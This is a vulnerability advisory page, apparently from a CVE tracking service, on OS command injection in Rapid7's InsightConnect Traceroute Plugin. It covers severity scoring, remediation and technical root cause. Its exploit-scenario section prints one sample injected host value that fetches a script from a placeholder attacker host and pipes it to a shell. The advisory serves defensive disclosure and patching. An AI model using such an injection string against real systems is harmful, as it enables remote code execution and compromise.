EUVD-2026-39161
GHSA-5854-xw4j-hrh6
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessReach plugin traceroute action
-
DeliveryInject shell metacharacters via host/port params
-
ExploitBreak out of traceroute command
-
ExecutionExecute arbitrary OS commands
-
ImpactControl plugin container
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires reaching the Traceroute Plugin's 'traceroute' action and controlling at least one of the host, port, max_ttl, count, or time_out request parameters; the plugin must be the vulnerable version (below 1.0.3) and running on Linux. The vulnerable code path is the shell-command construction in that action, so any deployment that lets attacker-influenced data flow into those fields is exploitable. Limiting factors: in typical InsightConnect deployments the action is invoked from within authenticated orchestration workflows rather than an open endpoint, so practical exploitation usually depends on the attacker being able to inject into a workflow that reaches this plugin - meaning the CVSS PR:N (unauthenticated) rating likely overstates real exposure and should be confirmed against your actual deployment. |
| Impact | Signals conflict and warrant scrutiny. The CVSS 3.1 base score is 9.8 (AV:N/AC:L/PR:N/UI:N, full C/I/A impact), which on its face implies trivial unauthenticated network RCE. However, CISA's SSVC framework rates Exploitation: none, Automatable: no, and Technical Impact: only partial - and EPSS is low at 0.55% (42nd percentile) - all of which point to lower real-world urgency than the 9.8 suggests. The SSVC 'partial' technical impact also conflicts with the CVSS 'total/High' impact triad; verify scope with the vendor. Critically, the CVSS PR:N (unauthenticated) rating is questionable for a SOAR plugin: in normal deployments the traceroute action is invoked through an authenticated InsightConnect workflow/orchestrator, not an open internet endpoint, so reaching the vulnerable parameters likely requires access to the automation platform - verify exposure with the vendor. Net assessment: a genuinely serious code-execution bug, but practical risk is gated by deployment exposure and there is no evidence of active exploitation, making this a high-but-not-emergency patch priority for environments running the plugin. |
| Exploit ScenarioDerived | An attacker who can supply input to the Traceroute Plugin's action - for example by influencing a workflow field that feeds the 'host' parameter - submits a value such as '8.8.8.8; curl http://attacker/x | sh', which breaks out of the traceroute command and executes attacker-chosen commands in the plugin container. With AC:L the injection is straightforward and requires no special timing, though no public proof-of-concept is currently identified. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv3 – Jun 29, 2026
OS command injection in Rapid7's InsightConnect Traceroute Plugin (Linux, versions below 1.0.3) lets attackers inject arbitrary shell commands through the traceroute action's host, port, max_ttl, count, or time_out parameters, which are concatenated into a shell command without sufficient validation. Successful exploitation grants full command execution in the plugin container with the same impact on confidentiality, integrity, and availability. This was reported by the vendor (Rapid7) with a fix in 1.0.3; there is no public exploit identified at time of analysis, and EPSS sits at a modest 0.55% (42nd percentile).
Earlier versions of this analysis (2)
OS command injection in Rapid7's InsightConnect Traceroute Plugin on Linux lets remote attackers run arbitrary shell commands by injecting metacharacters into the host, port, max_ttl, count, or time_out parameters of the traceroute action. All versions below 1.0.3 are affected, with the plugin executing attacker-influenced input as part of an unsanitized shell command. The CVSS:3.1 vector scores 9.8 (network, no privileges, no user interaction), though EPSS is modest at 0.55% and there is no public exploit identified at time of analysis.
OS command injection in the Rapid7 InsightConnect Traceroute Plugin on Linux lets remote attackers run arbitrary shell commands by injecting payloads into the host, port, max_ttl, count, or time_out parameters of the traceroute action. The plugin builds the underlying shell command without adequately validating these inputs (CWE-78), so a crafted value escapes the intended traceroute invocation and executes attacker-controlled commands on the host running the plugin. Rated CVSS 7.7 with high attack complexity; no public exploit identified at time of analysis and the issue is not listed in CISA KEV.
RemediationAI
Upgrade the InsightConnect Traceroute Plugin to version 1.0.3 or later, which contains the vendor fix (versions below 1.0.3 are vulnerable); the patched plugin is available from the Rapid7 extension page at https://extensions.rapid7.com/extension/traceroute. Until the plugin can be updated, disable or remove the Traceroute Plugin from active workflows so the vulnerable action cannot be invoked (trade-off: any automation depending on traceroute enrichment will break), and restrict who can trigger or edit InsightConnect workflows that call this action to trusted operators only. As defense in depth, constrain the values passed into the host/port/max_ttl/count/time_out parameters to known-good sources rather than free-form or externally-sourced input, and ensure the plugin container runs with least privilege and limited network egress to reduce blast radius if exploited.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The affected component (cpe:2.3:a:rapid7:insightconnect_traceroute_plugin) is a connector plugin within the InsightConnect SOAR platform - a containerized integration that wraps the Linux traceroute utility and exposes a 'traceroute' action accepting user-supplied parameters. The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command): the plugin builds the traceroute shell invocation by string-concatenating attacker-controllable inputs (host, port, max_ttl, count, time_out) rather than passing them as isolated arguments or validating/escaping them, so shell metacharacters (e.g. ;, |, $(), backticks) break out of the intended command. Because the action targets a Linux host shell, any injected payload runs with the plugin process's privileges.
Know when Insightconnect Traceroute Plugin gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Command injection yields full impact, but invoking the plugin action realistically needs authenticated workflow access, so PR:L rather than the vendor's PR:N; network-reachable and low-complexity.
Primary rating from Vendor (rapid7).
CVSS VectorNVD
Lifecycle Timeline
6DescriptionNVD
OS Command Injection vulnerability in the traceroute action of Rapid7 InsightConnect Traceroute Plugin on Linux allows remote attackers to execute arbitrary OS commands via the host, port, max_ttl, count, or time_out request parameters due to insufficient input validation when constructing shell commands.
Executive ViewAI
Rapid7's InsightConnect Traceroute Plugin contains a critical vulnerability (CVE-2026-8666, CVSS 9.8) enabling command execution within the plugin container. This threatens the integrity and availability of security automation workflows and downstream integrated systems. A patch (version 1.0.3) is available and immediate deployment is advised despite currently low exploitation rates.
Apply vendor patch.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
VulDB
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Exploit-DB